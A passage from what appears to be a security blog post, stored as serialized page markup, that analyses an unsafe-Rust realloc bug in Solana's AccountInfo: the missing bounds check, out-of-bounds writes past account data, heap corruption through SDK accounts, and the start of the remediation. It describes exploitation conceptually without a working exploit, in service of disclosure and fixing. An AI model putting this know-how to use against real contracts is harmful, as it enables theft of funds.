slice\n",{"type":23,"tag":213,"props":16193,"children":16194},{"class":215,"line":226},[16195,16199,16203,16207,16211,16215,16219,16223,16227,16231,16235,16239,16243,16247,16251,16255,16259,16263,16267,16271,16275,16279,16283,16287,16291,16295,16299,16303,16307,16311,16315],{"type":23,"tag":213,"props":16196,"children":16197},{"style":230},[16198],{"type":28,"value":11871},{"type":23,"tag":213,"props":16200,"children":16201},{"style":268},[16202],{"type":28,"value":13933},{"type":23,"tag":213,"props":16204,"children":16205},{"style":274},[16206],{"type":28,"value":511},{"type":23,"tag":213,"props":16208,"children":16209},{"style":274},[16210],{"type":28,"value":927},{"type":23,"tag":213,"props":16212,"children":16213},{"style":230},[16214],{"type":28,"value":287},{"type":23,"tag":213,"props":16216,"children":16217},{"style":274},[16218],{"type":28,"value":282},{"type":23,"tag":213,"props":16220,"children":16221},{"style":220},[16222],{"type":28,"value":14092},{"type":23,"tag":213,"props":16224,"children":16225},{"style":230},[16226],{"type":28,"value":13791},{"type":23,"tag":213,"props":16228,"children":16229},{"style":274},[16230],{"type":28,"value":124},{"type":23,"tag":213,"props":16232,"children":16233},{"style":220},[16234],{"type":28,"value":3791},{"type":23,"tag":213,"props":16236,"children":16237},{"style":274},[16238],{"type":28,"value":124},{"type":23,"tag":213,"props":16240,"children":16241},{"style":257},[16242],{"type":28,"value":14113},{"type":23,"tag":213,"props":16244,"children":16245},{"style":220},[16246],{"type":28,"value":2698},{"type":23,"tag":213,"props":16248,"children":16249},{"style":230},[16250],{"type":28,"value":623},{"type":23,"tag":213,"props":16252,"children":16253},{"style":274},[16254],{"type":28,"value":282},{"type":23,"tag":213,"props":16256,"children":16257},{"style":230},[16258],{"type":28,"value":632},{"type":23,"tag":213,"props":16260,"children":16261},{"style":290},[16262],{"type":28,"value":308},{"type":23,"tag":213,"props":16264,"children":16265},{"style":220},[16266],{"type":28,"value":2121},{"type":23,"tag":213,"props":16268,"children":16269},{"style":274},[16270],{"type":28,"value":124},{"type":23,"tag":213,"props":16272,"children":16273},{"style":257},[16274],{"type":28,"value":614},{"type":23,"tag":213,"props":16276,"children":16277},{"style":220},[16278],{"type":28,"value":265},{"type":23,"tag":213,"props":16280,"children":16281},{"style":514},[16282],{"type":28,"value":4106},{"type":23,"tag":213,"props":16284,"children":16285},{"style":220},[16286],{"type":28,"value":298},{"type":23,"tag":213,"props":16288,"children":16289},{"style":230},[16290],{"type":28,"value":623},{"type":23,"tag":213,"props":16292,"children":16293},{"style":290},[16294],{"type":28,"value":308},{"type":23,"tag":213,"props":16296,"children":16297},{"style":220},[16298],{"type":28,"value":298},{"type":23,"tag":213,"props":16300,"children":16301},{"style":230},[16302],{"type":28,"value":623},{"type":23,"tag":213,"props":16304,"children":16305},{"style":274},[16306],{"type":28,"value":282},{"type":23,"tag":213,"props":16308,"children":16309},{"style":230},[16310],{"type":28,"value":287},{"type":23,"tag":213,"props":16312,"children":16313},{"style":290},[16314],{"type":28,"value":308},{"type":23,"tag":213,"props":16316,"children":16317},{"style":220},[16318],{"type":28,"value":2867},{"type":23,"tag":213,"props":16320,"children":16321},{"class":215,"line":524},[16322,16326,16330,16334,16338,16342,16346],{"type":23,"tag":213,"props":16323,"children":16324},{"style":274},[16325],{"type":28,"value":1696},{"type":23,"tag":213,"props":16327,"children":16328},{"style":268},[16329],{"type":28,"value":14024},{"type":23,"tag":213,"props":16331,"children":16332},{"style":274},[16333],{"type":28,"value":511},{"type":23,"tag":213,"props":16335,"children":16336},{"style":268},[16337],{"type":28,"value":14033},{"type":23,"tag":213,"props":16339,"children":16340},{"style":230},[16341],{"type":28,"value":8913},{"type":23,"tag":213,"props":16343,"children":16344},{"style":290},[16345],{"type":28,"value":308},{"type":23,"tag":213,"props":16347,"children":16348},{"style":220},[16349],{"type":28,"value":313},{"type":23,"tag":24,"props":16351,"children":16352},{},[16353,16355,16361,16363,16374,16376,16382,16384,16390,16392,16397,16399,16404,16406,16416,16417,16424,16425,16432,16439,16441,16447,16449,16455,16457,16462,16464,16469,16471,16477,16479,16484],{"type":28,"value":16354},"That ",{"type":23,"tag":209,"props":16356,"children":16358},{"className":16357},[],[16359],{"type":28,"value":16360},"as_ptr()",{"type":28,"value":16362}," call is ",{"type":23,"tag":36,"props":16364,"children":16367},{"href":16365,"rel":16366},"https://doc.rust-lang.org/std/cell/struct.RefCell.html#method.as_ptr",[40],[16368],{"type":23,"tag":209,"props":16369,"children":16371},{"className":16370},[],[16372],{"type":28,"value":16373},"RefCell::as_ptr()",{"type":28,"value":16375}," due to the ",{"type":23,"tag":209,"props":16377,"children":16379},{"className":16378},[],[16380],{"type":28,"value":16381},"Deref",{"type":28,"value":16383}," impl on ",{"type":23,"tag":209,"props":16385,"children":16387},{"className":16386},[],[16388],{"type":28,"value":16389},"Rc",{"type":28,"value":16391}," (remember also that ",{"type":23,"tag":209,"props":16393,"children":16395},{"className":16394},[],[16396],{"type":28,"value":1023},{"type":28,"value":16398}," itself doesn't behave like a reference, you need to actually ",{"type":23,"tag":87,"props":16400,"children":16401},{},[16402],{"type":28,"value":16403},"get",{"type":28,"value":16405}," one through ",{"type":23,"tag":36,"props":16407,"children":16410},{"href":16408,"rel":16409},"https://doc.rust-lang.org/std/cell/struct.RefCell.html#method.borrow",[40],[16411],{"type":23,"tag":209,"props":16412,"children":16414},{"className":16413},[],[16415],{"type":28,"value":8887},{"type":28,"value":6550},{"type":23,"tag":36,"props":16418,"children":16421},{"href":16419,"rel":16420},"https://doc.rust-lang.org/std/cell/struct.RefCell.html#method.borrow_mut",[40],[16422],{"type":28,"value":16423},"and",{"type":28,"value":6550},{"type":23,"tag":36,"props":16426,"children":16429},{"href":16427,"rel":16428},"https://doc.rust-lang.org/std/cell/struct.RefCell.html#method.try_borrow",[40],[16430],{"type":28,"value":16431},"frie",{"type":23,"tag":36,"props":16433,"children":16436},{"href":16434,"rel":16435},"https://doc.rust-lang.org/std/cell/struct.RefCell.html#method.try_borrow_mut",[40],[16437],{"type":28,"value":16438},"nds",{"type":28,"value":16440},"). So from ",{"type":23,"tag":209,"props":16442,"children":16444},{"className":16443},[],[16445],{"type":28,"value":16446},"RefCell::\u003C&mut [u8]>::as_mut()",{"type":28,"value":16448}," we get a ",{"type":23,"tag":209,"props":16450,"children":16452},{"className":16451},[],[16453],{"type":28,"value":16454},"*mut &mut [u8]",{"type":28,"value":16456}," - a ",{"type":23,"tag":87,"props":16458,"children":16459},{},[16460],{"type":28,"value":16461},"pointer",{"type":28,"value":16463}," to the ",{"type":23,"tag":87,"props":16465,"children":16466},{},[16467],{"type":28,"value":16468},"slice reference",{"type":28,"value":16470},". From here, we turn the pointer into a ",{"type":23,"tag":209,"props":16472,"children":16474},{"className":16473},[],[16475],{"type":28,"value":16476},"*const u64",{"type":28,"value":16478}," pointer and then offset by 1 ",{"type":23,"tag":209,"props":16480,"children":16482},{"className":16481},[],[16483],{"type":28,"value":684},{"type":28,"value":16485}," (so 8 bytes). Finally, we switch the pointer back to being mutable, and write the new length to it.",{"type":23,"tag":24,"props":16487,"children":16488},{},[16489,16491,16496,16498,16503,16505,16510,16512,16517,16519,16525],{"type":28,"value":16490},"Now, if you're sitting here thinking that this is unnecessarily convoluted and confusing, you'd be right! But we'll get back to that ",{"type":23,"tag":36,"props":16492,"children":16494},{"href":16493},"#Towards-safer-unsafe",[16495],{"type":28,"value":16163},{"type":28,"value":16497}," too, I promise. In summary, we're writing the new length as a ",{"type":23,"tag":209,"props":16499,"children":16501},{"className":16500},[],[16502],{"type":28,"value":684},{"type":28,"value":16504}," to the region starting 8 bytes from the start of the slice ",{"type":23,"tag":87,"props":16506,"children":16507},{},[16508],{"type":28,"value":16509},"reference",{"type":28,"value":16511}," (the ",{"type":23,"tag":209,"props":16513,"children":16515},{"className":16514},[],[16516],{"type":28,"value":15522},{"type":28,"value":16518},").So, what does ",{"type":23,"tag":209,"props":16520,"children":16522},{"className":16521},[],[16523],{"type":28,"value":16524},"&[T]",{"type":28,"value":16526}," look like in Rust?",{"type":23,"tag":24,"props":16528,"children":16529},{},[16530,16532,16539,16541,16554,16556,16562],{"type":28,"value":16531},"According to ",{"type":23,"tag":36,"props":16533,"children":16536},{"href":16534,"rel":16535},"https://doc.rust-lang.org/reference/type-layout.html#pointers-and-references-layout",[40],[16537],{"type":28,"value":16538},"the reference",{"type":28,"value":16540},", it's completely undefined - there are no guarantees made in the reference, and ",{"type":23,"tag":36,"props":16542,"children":16545},{"href":16543,"rel":16544},"https://doc.rust-lang.org/reference/type-layout.html",[40],[16546,16548,16552],{"type":28,"value":16547},"\"Type layout can be changed with each compilation. ",{"type":23,"tag":213,"props":16549,"children":16550},{},[16551],{"type":28,"value":9675},{"type":28,"value":16553}," we only document what is guaranteed today\"",{"type":28,"value":16555},". But it seems like those pesky language specs aren't stopping Solana developers. In current ",{"type":23,"tag":209,"props":16557,"children":16559},{"className":16558},[],[16560],{"type":28,"value":16561},"rustc",{"type":28,"value":16563},", the layout is a data pointer followed by the size; essentially the same as:",{"type":23,"tag":202,"props":16565,"children":16568},{"className":16566,"code":16567,"language":3244,"meta":7,"style":7},"language-c shiki shiki-themes slack-dark","// C language\nstruct slice_ref {\n void* ptr;\n size_t len;\n};\n",[16569],{"type":23,"tag":209,"props":16570,"children":16571},{"__ignoreMap":7},[16572,16580,16592,16609,16622],{"type":23,"tag":213,"props":16573,"children":16574},{"class":215,"line":216},[16575],{"type":23,"tag":213,"props":16576,"children":16577},{"style":537},[16578],{"type":28,"value":16579},"// C language\n",{"type":23,"tag":213,"props":16581,"children":16582},{"class":215,"line":226},[16583,16587],{"type":23,"tag":213,"props":16584,"children":16585},{"style":230},[16586],{"type":28,"value":9486},{"type":23,"tag":213,"props":16588,"children":16589},{"style":220},[16590],{"type":28,"value":16591}," slice_ref {\n",{"type":23,"tag":213,"props":16593,"children":16594},{"class":215,"line":524},[16595,16600,16604],{"type":23,"tag":213,"props":16596,"children":16597},{"style":230},[16598],{"type":28,"value":16599}," void",{"type":23,"tag":213,"props":16601,"children":16602},{"style":274},[16603],{"type":28,"value":1696},{"type":23,"tag":213,"props":16605,"children":16606},{"style":220},[16607],{"type":28,"value":16608}," ptr;\n",{"type":23,"tag":213,"props":16610,"children":16611},{"class":215,"line":533},[16612,16617],{"type":23,"tag":213,"props":16613,"children":16614},{"style":230},[16615],{"type":28,"value":16616}," size_t",{"type":23,"tag":213,"props":16618,"children":16619},{"style":220},[16620],{"type":28,"value":16621}," len;\n",{"type":23,"tag":213,"props":16623,"children":16624},{"class":215,"line":543},[16625],{"type":23,"tag":213,"props":16626,"children":16627},{"style":220},[16628],{"type":28,"value":16629},"};\n",{"type":23,"tag":24,"props":16631,"children":16632},{},[16633],{"type":28,"value":16634},"So at the end of the day we find out that the code is simply writing over the length field in the slice reference. Let's step back a moment and take a look at all the assumptions we made along the way while executing these 2 lines (really only one of importance!):",{"type":23,"tag":131,"props":16636,"children":16637},{},[16638,16643,16661],{"type":23,"tag":135,"props":16639,"children":16640},{},[16641],{"type":28,"value":16642},"Slices are laid out in the precise manner described",{"type":23,"tag":135,"props":16644,"children":16645},{},[16646,16648,16654,16656],{"type":28,"value":16647},"Pointers and ",{"type":23,"tag":209,"props":16649,"children":16651},{"className":16650},[],[16652],{"type":28,"value":16653},"usize",{"type":28,"value":16655}," are the same width as ",{"type":23,"tag":209,"props":16657,"children":16659},{"className":16658},[],[16660],{"type":28,"value":684},{"type":23,"tag":135,"props":16662,"children":16663},{},[16664,16665,16670],{"type":28,"value":2623},{"type":23,"tag":209,"props":16666,"children":16668},{"className":16667},[],[16669],{"type":28,"value":1023},{"type":28,"value":16671}," was not borrowed (i.e. we didn't just mutate it while someone else has a reference to its contents)",{"type":23,"tag":24,"props":16673,"children":16674},{},[16675,16677,16682,16684,16690,16692,16697,16699,16705,16707,16712,16714,16724],{"type":28,"value":16676},"Assumption #2 is ",{"type":23,"tag":87,"props":16678,"children":16679},{},[16680],{"type":28,"value":16681},"probably",{"type":28,"value":16683}," fine when we only care about targeting Solana's bytecode machine, but still not a particularly safe assumption to make in case some change happens on the toolchain. And assumption #3 turns out to be a non-issue since we had just done a ",{"type":23,"tag":209,"props":16685,"children":16687},{"className":16686},[],[16688],{"type":28,"value":16689},"borrow_mut",{"type":28,"value":16691}," of the ",{"type":23,"tag":209,"props":16693,"children":16695},{"className":16694},[],[16696],{"type":28,"value":1023},{"type":28,"value":16698}," (through ",{"type":23,"tag":209,"props":16700,"children":16702},{"className":16701},[],[16703],{"type":28,"value":16704},"AccountInfo::try_borrow_mut_data()",{"type":28,"value":16706},"), and ",{"type":23,"tag":209,"props":16708,"children":16710},{"className":16709},[],[16711],{"type":28,"value":1023},{"type":28,"value":16713}," is not usable between multiple threads",{"type":23,"tag":15533,"props":16715,"children":16716},{},[16717],{"type":23,"tag":36,"props":16718,"children":16722},{"href":16719,"ariaDescribedBy":16720,"dataFootnoteRef":7,"id":16721},"#user-content-fn-sendsync",[15540],"user-content-fnref-sendsync",[16723],{"type":28,"value":3221},{"type":28,"value":16725},", so we already have exclusive access.",{"type":23,"tag":24,"props":16727,"children":16728},{},[16729,16731,16735],{"type":28,"value":16730},"A few more ",{"type":23,"tag":87,"props":16732,"children":16733},{},[16734],{"type":28,"value":7198},{"type":28,"value":16736}," things of note, that could have gone badly but didn't:",{"type":23,"tag":168,"props":16738,"children":16739},{},[16740,16782],{"type":23,"tag":135,"props":16741,"children":16742},{},[16743,16745,16751,16753,16758,16760,16765,16767,16772,16774,16780],{"type":28,"value":16744},"By reborrowing the pointer (the ",{"type":23,"tag":209,"props":16746,"children":16748},{"className":16747},[],[16749],{"type":28,"value":16750},"&mut *(\u003Cvalue of type *mut u64>)",{"type":28,"value":16752},"), we've created a reference with an ",{"type":23,"tag":87,"props":16754,"children":16755},{},[16756],{"type":28,"value":16757},"unbounded lifetime",{"type":28,"value":16759},". Rust is free to infer ",{"type":23,"tag":87,"props":16761,"children":16762},{},[16763],{"type":28,"value":16764},"any",{"type":28,"value":16766}," lifetime for ",{"type":23,"tag":209,"props":16768,"children":16770},{"className":16769},[],[16771],{"type":28,"value":14024},{"type":28,"value":16773}," (including ",{"type":23,"tag":209,"props":16775,"children":16777},{"className":16776},[],[16778],{"type":28,"value":16779},"'static",{"type":28,"value":16781},"); thankfully it's only used in the next statement and never has a chance to escape.",{"type":23,"tag":135,"props":16783,"children":16784},{},[16785,16787,16793,16795,16800,16802,16807,16809,16814,16816,16821,16823,16828,16830,16835,16837,16843,16845,16850,16852,16857,16859,16864,16866,16871,16873,16878],{"type":28,"value":16786},"Going back to the first statement when we were modifying the data buffer, it turns out we have another lifetime problem: we created a mutable pointer to the data from the ",{"type":23,"tag":209,"props":16788,"children":16790},{"className":16789},[],[16791],{"type":28,"value":16792},"RefMut",{"type":28,"value":16794}," returned from ",{"type":23,"tag":209,"props":16796,"children":16798},{"className":16797},[],[16799],{"type":28,"value":13950},{"type":28,"value":16801},", but the ",{"type":23,"tag":209,"props":16803,"children":16805},{"className":16804},[],[16806],{"type":28,"value":16792},{"type":28,"value":16808}," is dropped at the end of the statement. So, we now have in ",{"type":23,"tag":209,"props":16810,"children":16812},{"className":16811},[],[16813],{"type":28,"value":14024},{"type":28,"value":16815}," a ",{"type":23,"tag":87,"props":16817,"children":16818},{},[16819],{"type":28,"value":16820},"mutable",{"type":28,"value":16822}," pointer to the ",{"type":23,"tag":209,"props":16824,"children":16826},{"className":16825},[],[16827],{"type":28,"value":1023},{"type":28,"value":16829},"'s data, but the ",{"type":23,"tag":209,"props":16831,"children":16833},{"className":16832},[],[16834],{"type":28,"value":1023},{"type":28,"value":16836}," thinks that we're done with our borrow. If we happened to be in a multithreaded scenario with something like a ",{"type":23,"tag":209,"props":16838,"children":16840},{"className":16839},[],[16841],{"type":28,"value":16842},"Mutex",{"type":28,"value":16844}," instead of a ",{"type":23,"tag":209,"props":16846,"children":16848},{"className":16847},[],[16849],{"type":28,"value":1023},{"type":28,"value":16851}," (but with otherwise semantically identical code), then a different thread could attempt to borrow between creating ",{"type":23,"tag":209,"props":16853,"children":16855},{"className":16854},[],[16856],{"type":28,"value":14024},{"type":28,"value":16858}," and writing to it ",{"type":23,"tag":87,"props":16860,"children":16861},{},[16862],{"type":28,"value":16863},"and succeed",{"type":28,"value":16865},", resulting in us writing while another reference is alive. However, since ",{"type":23,"tag":209,"props":16867,"children":16869},{"className":16868},[],[16870],{"type":28,"value":14024},{"type":28,"value":16872}," is behind the actual data and thus the region it points to is inaccessible through the ",{"type":23,"tag":209,"props":16874,"children":16876},{"className":16875},[],[16877],{"type":28,"value":3791},{"type":28,"value":16879}," slice, this is still not a problem. I just wanted to highlight how easy it is to mess up borrowing and lifetimes when writing unsafe code.",{"type":23,"tag":24,"props":16881,"children":16882},{},[16883,16885,16890],{"type":28,"value":16884},"Ok, now that we've understood what the code is ",{"type":23,"tag":87,"props":16886,"children":16887},{},[16888],{"type":28,"value":16889},"trying",{"type":28,"value":16891}," to do, let's try to break it, shall we?",{"type":23,"tag":47,"props":16893,"children":16895},{"id":16894},"what-can-go-wrong",[16896],{"type":28,"value":16897},"What can go wrong?",{"type":23,"tag":9693,"props":16899,"children":16901},{"id":16900},"contracts",[16902],{"type":28,"value":16903},"Contracts",{"type":23,"tag":24,"props":16905,"children":16906},{},[16907,16909,16914,16916,16921,16923,16928,16930,16935],{"type":28,"value":16908},"Again, it's quite conspicuous that there's no bounds check whatsoever, and additionally, we notice that at no point did we actually touch the data pointer of the slice reference when ",{"type":23,"tag":209,"props":16910,"children":16912},{"className":16911},[],[16913],{"type":28,"value":13718},{"type":28,"value":16915},"'ing. In other words, when we realloc, all we do is change some size fields, no allocation is happening. So, if we ",{"type":23,"tag":209,"props":16917,"children":16919},{"className":16918},[],[16920],{"type":28,"value":13718},{"type":28,"value":16922}," to some large size, past the end of the buffer of roughly ",{"type":23,"tag":209,"props":16924,"children":16926},{"className":16925},[],[16927],{"type":28,"value":15352},{"type":28,"value":16929}," bytes in the serialized buffer from the BPF loader, then we've got free out-of-bounds memory write! Using the ",{"type":23,"tag":209,"props":16931,"children":16933},{"className":16932},[],[16934],{"type":28,"value":3791},{"type":28,"value":16936}," slice, we can write to anything \"after\" our account's data in memory. Other accounts' data are stored adjacent in memory, so it'd be pretty easy to modify the data or lamports. And remember, sizes and indices are unsigned, so what's \"behind\" our account in memory is actually just very far \"after\" our account - the address will wrap around the end of the address space.",{"type":23,"tag":24,"props":16938,"children":16939},{},[16940,16942,16949],{"type":28,"value":16941},"There is ",{"type":23,"tag":36,"props":16943,"children":16946},{"href":16944,"rel":16945},"https://github.com/solana-labs/solana/blob/94685e1222b3289859a447d62fadea20898241e0/programs/bpf_loader/src/serialization.rs#L324-L328",[40],[16947],{"type":28,"value":16948},"a check",{"type":28,"value":16950}," by the BPF loader, however, and it boils down to:",{"type":23,"tag":202,"props":16952,"children":16954},{"className":206,"code":16953,"language":205,"meta":7,"style":7},"if post_len.saturating_sub(*pre_len) > MAX_PERMITTED_DATA_INCREASE\n || post_len > MAX_PERMITTED_DATA_LENGTH as usize\n{\n return Err(InstructionError::InvalidRealloc);\n}\n",[16955],{"type":23,"tag":209,"props":16956,"children":16957},{"__ignoreMap":7},[16958,16996,17026,17033,17066],{"type":23,"tag":213,"props":16959,"children":16960},{"class":215,"line":216},[16961,16965,16970,16974,16978,16982,16986,16991],{"type":23,"tag":213,"props":16962,"children":16963},{"style":1362},[16964],{"type":28,"value":15637},{"type":23,"tag":213,"props":16966,"children":16967},{"style":268},[16968],{"type":28,"value":16969}," post_len",{"type":23,"tag":213,"props":16971,"children":16972},{"style":274},[16973],{"type":28,"value":124},{"type":23,"tag":213,"props":16975,"children":16976},{"style":257},[16977],{"type":28,"value":14366},{"type":23,"tag":213,"props":16979,"children":16980},{"style":220},[16981],{"type":28,"value":265},{"type":23,"tag":213,"props":16983,"children":16984},{"style":274},[16985],{"type":28,"value":1696},{"type":23,"tag":213,"props":16987,"children":16988},{"style":268},[16989],{"type":28,"value":16990},"pre_len",{"type":23,"tag":213,"props":16992,"children":16993},{"style":220},[16994],{"type":28,"value":16995},") > MAX_PERMITTED_DATA_INCREASE\n",{"type":23,"tag":213,"props":16997,"children":16998},{"class":215,"line":226},[16999,17004,17008,17012,17017,17021],{"type":23,"tag":213,"props":17000,"children":17001},{"style":274},[17002],{"type":28,"value":17003}," ||",{"type":23,"tag":213,"props":17005,"children":17006},{"style":268},[17007],{"type":28,"value":16969},{"type":23,"tag":213,"props":17009,"children":17010},{"style":274},[17011],{"type":28,"value":14268},{"type":23,"tag":213,"props":17013,"children":17014},{"style":220},[17015],{"type":28,"value":17016}," MAX_PERMITTED_DATA_LENGTH ",{"type":23,"tag":213,"props":17018,"children":17019},{"style":230},[17020],{"type":28,"value":623},{"type":23,"tag":213,"props":17022,"children":17023},{"style":290},[17024],{"type":28,"value":17025}," usize\n",{"type":23,"tag":213,"props":17027,"children":17028},{"class":215,"line":524},[17029],{"type":23,"tag":213,"props":17030,"children":17031},{"style":220},[17032],{"type":28,"value":10964},{"type":23,"tag":213,"props":17034,"children":17035},{"class":215,"line":533},[17036,17041,17045,17049,17053,17057,17062],{"type":23,"tag":213,"props":17037,"children":17038},{"style":1362},[17039],{"type":28,"value":17040}," return",{"type":23,"tag":213,"props":17042,"children":17043},{"style":290},[17044],{"type":28,"value":2844},{"type":23,"tag":213,"props":17046,"children":17047},{"style":220},[17048],{"type":28,"value":265},{"type":23,"tag":213,"props":17050,"children":17051},{"style":290},[17052],{"type":28,"value":2853},{"type":23,"tag":213,"props":17054,"children":17055},{"style":274},[17056],{"type":28,"value":562},{"type":23,"tag":213,"props":17058,"children":17059},{"style":290},[17060],{"type":28,"value":17061},"InvalidRealloc",{"type":23,"tag":213,"props":17063,"children":17064},{"style":220},[17065],{"type":28,"value":2867},{"type":23,"tag":213,"props":17067,"children":17068},{"class":215,"line":543},[17069],{"type":23,"tag":213,"props":17070,"children":17071},{"style":220},[17072],{"type":28,"value":1208},{"type":23,"tag":24,"props":17074,"children":17075},{},[17076,17078,17083,17085,17090],{"type":28,"value":17077},"But, like the other checks performed by the loader, this check only runs after the contract ",{"type":23,"tag":87,"props":17079,"children":17080},{},[17081],{"type":28,"value":17082},"finishes",{"type":28,"value":17084}," execution. ",{"type":23,"tag":87,"props":17086,"children":17087},{},[17088],{"type":28,"value":17089},"During",{"type":28,"value":17091}," execution, the contract is free to make whatever modifications to memory that it wants, since Solana's eBPF machine doesn't hook memory accesses in any way.",{"type":23,"tag":24,"props":17093,"children":17094},{},[17095,17097,17102,17104,17109,17111,17118],{"type":28,"value":17096},"The end result is that in order to successfully exploit this bug, an attacker needs a way to change the length back to something valid before the program exits. However, with potentially ",{"type":23,"tag":87,"props":17098,"children":17099},{},[17100],{"type":28,"value":17101},"arbitrary",{"type":28,"value":17103}," memory access through a mistakenly-",{"type":23,"tag":209,"props":17105,"children":17107},{"className":17106},[],[17108],{"type":28,"value":13718},{"type":28,"value":17110},"'d account, this falls in the relm of some ",{"type":23,"tag":36,"props":17112,"children":17115},{"href":17113,"rel":17114},"https://en.wikipedia.org/wiki/Buffer_overflow",[40],[17116],{"type":28,"value":17117},"old-school pwning",{"type":28,"value":17119}," - even if we can't use the out-of-bounds access directly, there's plenty of pointers in memory that could be of use.",{"type":23,"tag":9693,"props":17121,"children":17123},{"id":17122},"not-contracts",[17124],{"type":28,"value":17125},"Not-contracts?",{"type":23,"tag":24,"props":17127,"children":17128},{},[17129,17131,17136,17138,17148,17150,17162,17164,17171,17173,17178,17180,17185,17187,17200,17202,17207,17209,17214],{"type":28,"value":17130},"Remember when we said that all this code makes sense ",{"type":23,"tag":87,"props":17132,"children":17133},{},[17134],{"type":28,"value":17135},"if the data points to the BPF loader's serialized buffer",{"type":28,"value":17137},"? Well unfortunately for us, there's nothing enforcing that; all the fields on ",{"type":23,"tag":36,"props":17139,"children":17142},{"href":17140,"rel":17141},"https://docs.rs/solana-program/1.10.28/solana_program/account_info/struct.AccountInfo.html",[40],[17143],{"type":23,"tag":209,"props":17144,"children":17146},{"className":17145},[],[17147],{"type":28,"value":439},{"type":28,"value":17149}," are public, and so is its ",{"type":23,"tag":36,"props":17151,"children":17154},{"href":17152,"rel":17153},"https://docs.rs/solana-program/1.10.28/solana_program/account_info/struct.AccountInfo.html#method.new",[40],[17155,17160],{"type":23,"tag":209,"props":17156,"children":17158},{"className":17157},[],[17159],{"type":28,"value":1687},{"type":28,"value":17161}," method",{"type":28,"value":17163}," (which is ",{"type":23,"tag":36,"props":17165,"children":17168},{"href":17166,"rel":17167},"https://docs.rs/solana-program/1.10.28/src/solana_program/account_info.rs.html#160-180",[40],[17169],{"type":28,"value":17170},"nothing more than a thin wrapper around just creating the struct literal yourself",{"type":28,"value":17172},"). The ",{"type":23,"tag":209,"props":17174,"children":17176},{"className":17175},[],[17177],{"type":28,"value":13718},{"type":28,"value":17179}," code critically assumes that the memory 8 bytes behind the data buffer is the data's length and that we can write to it however we want when realloc'ing. So, clearly if we were to create an ",{"type":23,"tag":209,"props":17181,"children":17183},{"className":17182},[],[17184],{"type":28,"value":439},{"type":28,"value":17186}," ourselves - potentially through the ",{"type":23,"tag":36,"props":17188,"children":17191},{"href":17189,"rel":17190},"https://docs.rs/solana-program/1.10.28/solana_program/account_info/trait.Account.html",[40],[17192,17198],{"type":23,"tag":209,"props":17193,"children":17195},{"className":17194},[],[17196],{"type":28,"value":17197},"Account",{"type":28,"value":17199}," trait",{"type":28,"value":17201},", which is hardly documented at all and makes ",{"type":23,"tag":87,"props":17203,"children":17204},{},[17205],{"type":28,"value":17206},"no",{"type":28,"value":17208}," mention of any prerequisites about the nature of the references that need to be returned - we'd run in to problems from pretty much any practical way we'd allocate the ",{"type":23,"tag":209,"props":17210,"children":17212},{"className":17211},[],[17213],{"type":28,"value":3791},{"type":28,"value":17215}," buffer.",{"type":23,"tag":24,"props":17217,"children":17218},{},[17219,17221,17232,17234,17240,17242,17248,17250,17262,17264,17269,17271,17276,17278,17283,17285,17290,17292,17297,17299,17304],{"type":28,"value":17220},"One long arm of this is ",{"type":23,"tag":36,"props":17222,"children":17225},{"href":17223,"rel":17224},"https://docs.rs/solana-sdk/1.10.28/solana_sdk/account/struct.Account.html",[40],[17226],{"type":23,"tag":209,"props":17227,"children":17229},{"className":17228},[],[17230],{"type":28,"value":17231},"solana_sdk::account::Account",{"type":28,"value":17233}," - in the client SDK. It holds an account's data in a ",{"type":23,"tag":209,"props":17235,"children":17237},{"className":17236},[],[17238],{"type":28,"value":17239},"Vec\u003Cu8>",{"type":28,"value":17241},", and it implements ",{"type":23,"tag":209,"props":17243,"children":17245},{"className":17244},[],[17246],{"type":28,"value":17247},"solana_program::account_info::Account",{"type":28,"value":17249}," (the trait from earlier) - by ",{"type":23,"tag":36,"props":17251,"children":17254},{"href":17252,"rel":17253},"https://docs.rs/solana-sdk/1.10.28/src/solana_sdk/account.rs.html#661-669",[40],[17255,17257],{"type":28,"value":17256},"returning a reference to the contents of that ",{"type":23,"tag":209,"props":17258,"children":17260},{"className":17259},[],[17261],{"type":28,"value":429},{"type":28,"value":17263},". So, ",{"type":23,"tag":209,"props":17265,"children":17267},{"className":17266},[],[17268],{"type":28,"value":13718},{"type":28,"value":17270}," writes the size into the 8 bytes right before ",{"type":23,"tag":209,"props":17272,"children":17274},{"className":17273},[],[17275],{"type":28,"value":3791},{"type":28,"value":17277},"; ",{"type":23,"tag":209,"props":17279,"children":17281},{"className":17280},[],[17282],{"type":28,"value":3791},{"type":28,"value":17284}," is the buffer of a ",{"type":23,"tag":209,"props":17286,"children":17288},{"className":17287},[],[17289],{"type":28,"value":429},{"type":28,"value":17291},", and so it is the contents of a heap allocation; and, immediately before a heap allocation sits critical metadata. The result? If, for some reason, you construct an ",{"type":23,"tag":209,"props":17293,"children":17295},{"className":17294},[],[17296],{"type":28,"value":439},{"type":28,"value":17298}," out of an SDK ",{"type":23,"tag":209,"props":17300,"children":17302},{"className":17301},[],[17303],{"type":28,"value":17197},{"type":28,"value":17305}," and then realloc it (which admittedly is quite a stretch), then you get heap corruption - something that's very likely to lead to remote code execution.",{"type":23,"tag":47,"props":17307,"children":17309},{"id":17308},"remediation",[17310],{"type":28,"value":17311},"Remediation",{"type":23,"tag":24,"props":17313,"children":17314},{},[17315],{"type":28,"value":17316},"Obviously the fix for the main issue at hand is to check that the resize operation remains in-bounds. But how do we know how big is too big?",{"type":23,"tag":24,"props":17318,"children":17319},{},[17320,17322,17327,17329,17334,17336,17347,17349,17354,17356,17363],{"type":28,"value":17321},"The sensible thing to do would be to store the initial size in the ",{"type":23,"tag":209,"props":17323,"children":17325},{"className":17324},[],[17326],{"type":28,"value":439},{"type":28,"value":17328},"... except for the fact that the layout of ",{"type":23,"tag":209,"props":17330,"children":17332},{"className":17331},[],[17333],{"type":28,"value":439},{"type":28,"value":17335}," is actually part of the ABI between the contract runtime and the loader :face_palm:",{"type":23,"tag":15533,"props":17337,"children":17338},{},[17339],{"type":23,"tag":36,"props":17340,"children":17344},{"href":17341,"ariaDescribedBy":17342,"dataFootnoteRef":7,"id":17343},"#user-content-fn-layout",[15540],"user-content-fnref-layout",[17345],{"type":28,"value":17346},"3",{"type":28,"value":17348}," So, with changing ",{"type":23,"tag":209,"props":17350,"children":17352},{"className":17351},[],[17353],{"type":28,"value":439},{"type":28,"value":17355}," out of the question, the Solana team came up with a different place to stash the information: inside a section of padding in the serialized buffer passed from the runtime. This happened to be next to where the pubkey was stored, which resulted in the creation of ",{"type":23,"tag":36,"props":17357,"children":17360},{"href":17358,"rel":17359},"https://docs.rs/solana-program/1.10.30/src/solana_program/account_info.rs.html#74-85",[40],[17361],{"type":28,"value":17362},"this 